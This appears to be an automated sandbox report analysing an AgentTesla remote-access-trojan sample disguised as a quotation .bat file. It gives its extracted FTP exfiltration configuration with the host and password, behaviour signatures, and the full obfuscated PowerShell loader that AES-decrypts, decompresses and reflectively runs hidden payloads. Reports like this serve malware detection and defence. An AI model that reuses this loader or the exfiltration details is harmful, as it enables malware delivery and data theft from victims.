Analysis
- max time kernel
149s - max time network
145s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
30/04/2026, 14:52
General
- Target Quotation. RFQ # 28042026.bat
- Size 146KB
- Sample260430-r81cssay8p
- SHA256 59830d1c568bd43c1c582b36981bc0ef423116c144c33fad51e1e66bb0cb368a
Malware Config
Extracted
-
agenttesla
-
Protocol
ftp
-
Host
ftp://ftp.duct-master.com
-
Port
21
-
Username
-
Password
WL9ow,~&t(NJJf-)nn
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Drops startup file 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Quotation. RFQ # 28042026.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe"C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" -w h -NoP -EP bypass -Command "function oyKSs($NwDBw){ $wrnVc=New-Object System.IO.MemoryStream(,$NwDBw); $tgWxf=New-Object System.IO.MemoryStream; $CPtFz=New-Object System.IO.Compression.GZipStream($wrnVc, [IO.Compression.CompressionMode]::Decompress); $CPtFz.CopyTo($tgWxf); $CPtFz.Dispose(); $wrnVc.Dispose(); $tgWxf.Dispose(); $tgWxf.ToArray();}function etIWk($NwDBw){ $ljxAe=[System.Security.Cryptography.Aes]::Create(); $ljxAe.Mode=[System.Security.Cryptography.CipherMode]::CBC; $ljxAe.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $ljxAe.Key=[System.Convert]::FromBase64String('OBWLT5q+ohpzlHi4YcovzWy22cnO7X1hgQGhLedKP2c='); $ljxAe.IV=[System.Convert]::FromBase64String('4BEyJ/XL1SO4mXxBRtyNSA=='); $BSGWh=$ljxAe.CreateDecryptor(); $vuCpj=$BSGWh.TransformFinalBlock($NwDBw, 0, $NwDBw.Length); $BSGWh.Dispose(); $ljxAe.Dispose(); $vuCpj;}function mZoxr($NwDBw,$niRhV){ $WzjXj=[System.Reflection.Assembly]::Load([byte[]]$NwDBw); $mKFkW=$WzjXj.EntryPoint; $mKFkW.Invoke($null, $niRhV);}$zenRC = 'C:\Users\Admin\AppData\Local\Temp\Quotation. RFQ # 28042026.bat';$host.UI.RawUI.WindowTitle = $zenRC;$sWGot=[System.IO.File]::ReadAllText($zenRC).Split([Environment]::NewLine);foreach ($rXPpA in $sWGot) { if ($rXPpA.StartsWith('vcceSlNTlRxVkBQvgNEZ')) { $nHaZl=$rXPpA.Substring(20); break; }}$agXlZ=[string[]]$nHaZl.Split('\');$Zhhqn=oyKSs (etIWk ([Convert]::FromBase64String($agXlZ[0].Replace('#', '/').Replace('@', 'A'))));$RUSGy=oyKSs (etIWk ([Convert]::FromBase64String($agXlZ[1].Replace('#', '/').Replace('@', 'A'))));mZoxr $Zhhqn $null;mZoxr $RUSGy (,[string[]] (''));"2⤵
- Badlisted process makes network request
- Drops startup file
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_n0dtfl01.cvl.ps1
memory/3272-16-0x0000000006650000-0x000000000669C000-memory.dmp
memory/3272-18-0x0000000006B90000-0x0000000006BAA000-memory.dmp
memory/3272-3-0x0000000005860000-0x0000000005E88000-memory.dmp
memory/3272-4-0x00000000057D0000-0x00000000057F2000-memory.dmp
memory/3272-5-0x0000000005F00000-0x0000000005F66000-memory.dmp
memory/3272-6-0x0000000005F70000-0x0000000005FD6000-memory.dmp
memory/3272-1-0x00000000030E0000-0x0000000003116000-memory.dmp
memory/3272-14-0x0000000006090000-0x00000000063E4000-memory.dmp
memory/3272-15-0x0000000006600000-0x000000000661E000-memory.dmp
memory/3272-0-0x0000000003170000-0x0000000003180000-memory.dmp
memory/3272-2-0x0000000003170000-0x0000000003180000-memory.dmp
memory/3272-19-0x0000000006BE0000-0x0000000006BE8000-memory.dmp
memory/3272-17-0x0000000007FB0000-0x000000000862A000-memory.dmp
memory/3272-20-0x0000000006BF0000-0x0000000006C0E000-memory.dmp
memory/3272-23-0x0000000007800000-0x0000000007842000-memory.dmp
memory/3272-24-0x0000000008630000-0x0000000008BD4000-memory.dmp
memory/3272-25-0x0000000003170000-0x0000000003180000-memory.dmp
memory/3272-26-0x00000000063F0000-0x0000000006453000-memory.dmp
memory/3272-29-0x0000000007D40000-0x0000000007D90000-memory.dmp
memory/3272-30-0x0000000007E30000-0x0000000007EC2000-memory.dmp
memory/3272-31-0x0000000007DB0000-0x0000000007DBA000-memory.dmp